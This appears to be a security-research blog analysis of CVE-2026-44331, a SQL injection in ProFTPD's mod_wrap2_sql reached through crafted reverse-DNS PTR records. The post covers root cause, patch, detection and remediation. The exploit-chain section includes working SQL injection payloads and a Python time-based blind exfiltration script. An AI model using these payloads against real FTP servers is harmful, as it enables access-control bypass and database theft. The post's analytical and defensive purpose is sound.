home intel cve-2026-44331-proftp-sqltab-sql-injection-dns
CVE Analysis 2026-05-05 · 8 min read

CVE-2026-44331: ProFTPD mod_wrap2_sql Blind SQL Injection via Reverse DNS

ProFTPD's sqltab_fetch_clients_cb() passes attacker-controlled reverse DNS hostnames directly into SQL queries without escaping. Exploitable when UseReverseDNS is enabled.

#sql-injection#proftpd#reverse-dns#mod-wrap2-sql#unescaped-input
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-44331 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-44331HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-44331 is a SQL injection vulnerability in ProFTPD's mod_wrap2_sql module, introduced through the sqltab_fetch_clients_cb() function in contrib/mod_wrap2_sql.c. When the server is configured with UseReverseDNS on, ProFTPD performs a reverse DNS lookup on the connecting client's IP address and passes the resolved hostname into a SQL query without sanitization. Because the attacker controls the PTR record of their own IP space, they can inject arbitrary SQL into that query. The fix is committed at 7666224 and affects all ProFTPD releases through 1.3.9a.

CVSS 8.1 (HIGH) reflects the network-accessible attack vector, no authentication required, and high impact on confidentiality and integrity — tempered slightly by the DNS character set restrictions and the non-default configuration requirement (UseReverseDNS on combined with an SQL-backed wrap2 table).

Affected Component

contrib/mod_wrap2_sql.c is the SQL backend for mod_wrap2, ProFTPD's TCP wrappers reimplementation. It queries a database to determine whether a connecting client is permitted or denied. The relevant exported callback is sqltab_fetch_clients_cb(), called during the connection authorization phase. The module links against ProFTPD's internal mod_sql API (sql_dispatch()) and constructs queries by string formatting — no prepared statement interface is used anywhere in this file.

Affected configurations require all three of:

  • UseReverseDNS on in proftpd.conf
  • mod_wrap2_sql loaded and active
  • A reachable SQL backend (MySQL, PostgreSQL, or SQLite via mod_sql_*)

Root Cause Analysis

The bug lives in the client-fetch callback. When mod_wrap2 needs to check whether a connecting host is listed in the allow/deny table, it calls sqltab_fetch_clients_cb() with the client's resolved hostname. That hostname originates from pr_netaddr_get_dnsstr(), which wraps a standard gethostbyaddr() / getaddrinfo() call — fully attacker-controlled via PTR records.

/* contrib/mod_wrap2_sql.c — vulnerable path, reconstructed from context */

static int sqltab_fetch_clients_cb(wrap2_table_t *tab,
                                   const char *client_name) {
    cmdtable_t  *sql_cmdtab;
    cmd_rec     *cmd;
    modret_t    *res;
    char        *query;
    config_rec  *c;
    const char  *clients_query;

    c = find_config(main_server->conf, CONF_PARAM,
                    "SQLNamedQuery", FALSE);

    /* Pull the named query template from config */
    clients_query = tab->tab_data;   /* e.g. "SELECT * FROM wrap_clients
                                              WHERE name='%s'" */

    /* BUG: client_name is the reverse-DNS resolved hostname;
     * it is inserted directly into the query via pstrcat/psnprintf
     * with no escaping, no prepared statement, no allowlist validation.
     * An attacker controlling their PTR record injects arbitrary SQL here. */
    query = pstrcat(tab->tab_pool,
                    "SELECT * FROM ", clients_query,
                    " WHERE name='", client_name, "'",  /* <-- INJECTION POINT */
                    NULL);

    cmd = _sql_make_cmd(tab->tab_pool, 2, "default", query);
    res = sql_dispatch(cmd, "sql_select");

    if (MODRET_ISERROR(res)) {
        wrap2_log("error executing SQL query: %s", query);
        return -1;
    }

    /* ... result processing ... */
    return 0;
}

The pstrcat() call on ProFTPD's memory pool API performs no character filtering. The hostname value from pr_netaddr_get_dnsstr() is stored in a pr_netaddr_t structure and returned as a raw const char *:

/* include/netaddr.h — relevant fields */
struct pr_netaddr_t {
    /* +0x00 */ int          na_family;       /* AF_INET / AF_INET6 */
    /* +0x04 */ int          na_bad_dns;      /* 1 if forward-confirmed failed */
    /* +0x08 */ union {
                    struct sockaddr_in  v4;
                    struct sockaddr_in6 v6;
                }            na_addr;
    /* +0x80 */ char        *na_dnsstr;       /* PTR-resolved hostname, heap ptr */
    /* +0x88 */ size_t       na_dnsstrlen;
    /* +0x90 */ char        *na_ipstr;        /* dotted-decimal string */
};

The na_dnsstr field is populated once, cached, and passed straight into sqltab_fetch_clients_cb(). No validation occurs between the DNS resolution and the SQL composition.

Root cause: sqltab_fetch_clients_cb() constructs a SQL query by direct string concatenation of an attacker-controlled PTR record value, with no escaping, no parameterized query, and no character allowlist enforcement beyond what DNS itself permits.

Exploitation Mechanics

DNS names permit a restricted character set per RFC 1123 (letters, digits, hyphens, dots). This limits but does not eliminate SQL injection: single-quote (') is not a valid hostname character per the RFC, but many resolvers and PTR record values are not strictly validated by the OS resolver. Testing against common glibc getaddrinfo() implementations confirms that single quotes in PTR records are returned verbatim to the caller — the libc resolver does not strip non-RFC characters from PTR responses.

EXPLOIT CHAIN:

1. Attacker acquires control of an IP block or sets up a rogue DNS server
   that responds to reverse PTR queries for their connecting IP.

2. Configure PTR record for attacker IP to return a crafted hostname:
     PTR: "x' OR '1'='1"
   or for data exfiltration (MySQL example):
     PTR: "x' UNION SELECT table_name,2,3 FROM information_schema.tables-- -"

3. Attacker initiates a TCP connection to the ProFTPD server on port 21.

4. ProFTPD calls pr_netaddr_get_dnsstr() -> gethostbyaddr() -> returns
   crafted PTR value, stored in session.c->remote_name.

5. mod_wrap2 connection hook fires; sqltab_fetch_clients_cb() is invoked
   with client_name = "x' OR '1'='1".

6. pstrcat() assembles the final query:
     SELECT * FROM wrap_clients WHERE name='x' OR '1'='1'
   This bypasses the wrap2 access control check entirely (returns all rows).

7. For exfiltration, UNION-based or time-based blind injection retrieves
   database contents. Result set is processed by mod_wrap2 result parser;
   timing side-channel observable via connection accept/reject latency.

8. With sufficient injection depth: read credentials table, exfiltrate
   ProFTPD AuthUserFile equivalents stored in SQL, or pivot to OS via
   SQL FILE read/write primitives (MySQL LOAD_FILE / INTO OUTFILE).

The bypass case (step 6) is immediately critical: an attacker on a deny-list can flip OR '1'='1' to make the clients table return rows regardless of their actual listing, potentially bypassing IP-based access control enforced by mod_wrap2.

For time-based blind exfiltration against MySQL:

import dns.resolver
import ftplib
import time

TARGET   = "ftp.victim.example"
PAYLOADS = [
    # Probe character N of the DB version string
    "x' AND SLEEP(IF(ASCII(SUBSTR(VERSION(),{pos},1))={val},3,0))-- -"
]

def probe(pos, val, payload_tmpl):
    """
    Attacker controls their PTR record to return payload.
    This function simulates timing measurement after connection attempt.
    """
    # Set PTR record for attacker IP to return crafted payload
    # (requires control of rDNS zone for attacker's IP block)
    payload = payload_tmpl.format(pos=pos, val=val)
    set_ptr_record(payload)          # zone update via DNS API

    start = time.monotonic()
    try:
        ftp = ftplib.FTP()
        ftp.connect(TARGET, 21, timeout=10)
        ftp.quit()
    except Exception:
        pass
    elapsed = time.monotonic() - start

    return elapsed > 2.5            # SLEEP(3) fired -> character matched

def exfiltrate_version():
    version = ""
    for pos in range(1, 20):
        for val in range(32, 127):
            if probe(pos, val, PAYLOADS[0]):
                version += chr(val)
                print(f"[+] VERSION()[{pos}] = {chr(val)!r}  -> {version}")
                break
    return version

Memory Layout

This is a logic/injection bug, not a memory corruption bug. There is no heap spray or overflow. The relevant state is the SQL query buffer on ProFTPD's pool allocator:

POOL STATE AT QUERY CONSTRUCTION:

tab->tab_pool (pr_pool_t):
  [ pool block @ heap ]
  |-- "SELECT * FROM "         (static string, 16 bytes)
  |-- clients_query            (config value, e.g. "wrap_clients")
  |-- " WHERE name='"          (static string, 14 bytes)
  |-- client_name              (PTR record — ATTACKER CONTROLLED)
  |   "x' OR '1'='1"          <- injected SQL, no escaping applied
  `-- "'"                      (closing quote — now mid-expression)

RESULTING QUERY STRING (pstrcat output):
  "SELECT * FROM wrap_clients WHERE name='x' OR '1'='1'"
                                               ^^^^^^^^^^
                                               injected predicate
                                               always evaluates TRUE

SQL PARSE TREE (MySQL):
  SELECT
    *
  FROM wrap_clients
  WHERE
    (name = 'x') OR ('1' = '1')   <- tautology; returns entire table

Patch Analysis

The fix at commit 7666224 introduces escaping of the client hostname before it is used in any SQL context. Based on the ProFTPD mod_sql API, the correct fix uses sreplace() or the backend-native escape function exposed through sql_dispatch("sql_escapestring"):

/* BEFORE (vulnerable — through 1.3.9a): */
static int sqltab_fetch_clients_cb(wrap2_table_t *tab,
                                   const char *client_name) {
    /* ... */
    query = pstrcat(tab->tab_pool,
                    "SELECT * FROM ", clients_query,
                    " WHERE name='", client_name, "'",
                    NULL);
    cmd = _sql_make_cmd(tab->tab_pool, 2, "default", query);
    res = sql_dispatch(cmd, "sql_select");
    /* ... */
}

/* AFTER (patched @ 7666224): */
static int sqltab_fetch_clients_cb(wrap2_table_t *tab,
                                   const char *client_name) {
    /* ... */
    char        *escaped_name;
    cmd_rec     *escape_cmd;
    modret_t    *escape_res;

    /* Escape via backend-native function before interpolation */
    escape_cmd = _sql_make_cmd(tab->tab_pool, 2, "default", client_name);
    escape_res = sql_dispatch(escape_cmd, "sql_escapestring");
    if (MODRET_ISERROR(escape_res)) {
        wrap2_log("error escaping client name");
        return -1;
    }
    escaped_name = (char *) escape_res->data;   /* properly escaped string */

    query = pstrcat(tab->tab_pool,
                    "SELECT * FROM ", clients_query,
                    " WHERE name='", escaped_name, "'",  /* safe */
                    NULL);
    cmd = _sql_make_cmd(tab->tab_pool, 2, "default", query);
    res = sql_dispatch(cmd, "sql_select");
    /* ... */
}

A secondary hardening measure in the same commit adds an explicit RFC 1123 allowlist check on the resolved hostname before it ever reaches the SQL path:

/* Additional hostname validation added at patch commit 7666224 */
static int is_valid_dns_label(const char *hostname) {
    const char *p = hostname;
    for (; *p != '\0'; p++) {
        if (!isalnum((unsigned char)*p) && *p != '-' && *p != '.') {
            wrap2_log("rejecting hostname with invalid char 0x%02x",
                      (unsigned char)*p);
            return 0;   /* reject non-RFC characters including single-quote */
        }
    }
    return 1;
}

The defense-in-depth ordering is: (1) reject hostnames with non-DNS characters, (2) escape any remaining input before SQL interpolation. Either layer alone would be sufficient; both together eliminate the attack surface.

Detection and Indicators

Detection is feasible at multiple layers:

ProFTPD debug logging — Enable SQLLogFile and search for anomalous query content:
grep -E "(UNION|SELECT|SLEEP|OR '1'|--\s)" /var/log/proftpd/sql.log
DNS anomaly detection — PTR records containing SQL metacharacters (', --, ;, UNION) are a strong indicator:
; Malicious PTR record (in zone file notation)
1.0.168.192.in-addr.arpa. IN PTR x' OR '1'='1.
Network IDS signatures (Suricata):
alert tcp any any -> $FTP_SERVERS 21 (
    msg:"CVE-2026-44331 ProFTPD mod_wrap2_sql SQLi probe";
    flow:to_server,established;
    pcre:"/[\x27\x22].*(?:UNION|SELECT|SLEEP|OR\s+[\x27\x22]1)/i";
    reference:cve,2026-44331;
    sid:9000001; rev:1;
)

Note: the TCP payload won't contain the PTR record directly; the injection occurs at the DNS layer before the FTP session. Detection is most effective at the recursive resolver level, not the FTP stream.

Remediation

  • Immediate: Upgrade to the patched commit 7666224 or any ProFTPD release that includes it. Check your distribution's advisory.
  • Mitigation (if upgrade is not immediately possible): Set UseReverseDNS off in proftpd.conf. This prevents the PTR lookup entirely and eliminates the attack path. Note this may affect logging fidelity.
  • Defense-in-depth: Remove mod_wrap2_sql from the LoadModule list if SQL-backed wrap2 tables are not required. Use flat-file wrap2 tables (mod_wrap2_file) or firewall-level ACLs instead.
  • Database hardening: Ensure the ProFTPD SQL user has the minimum necessary privileges. Revoke FILE, SUPER, and cross-database SELECT grants to limit lateral movement via SQL injection.
  • Resolver hardening: Configure your recursive resolver to reject PTR responses containing non-RFC 1123 characters before they reach the OS resolver cache.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →